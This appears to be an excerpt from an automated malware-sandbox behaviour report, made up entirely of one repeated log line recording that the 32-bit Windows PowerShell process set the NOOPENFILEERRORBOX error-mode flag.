Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
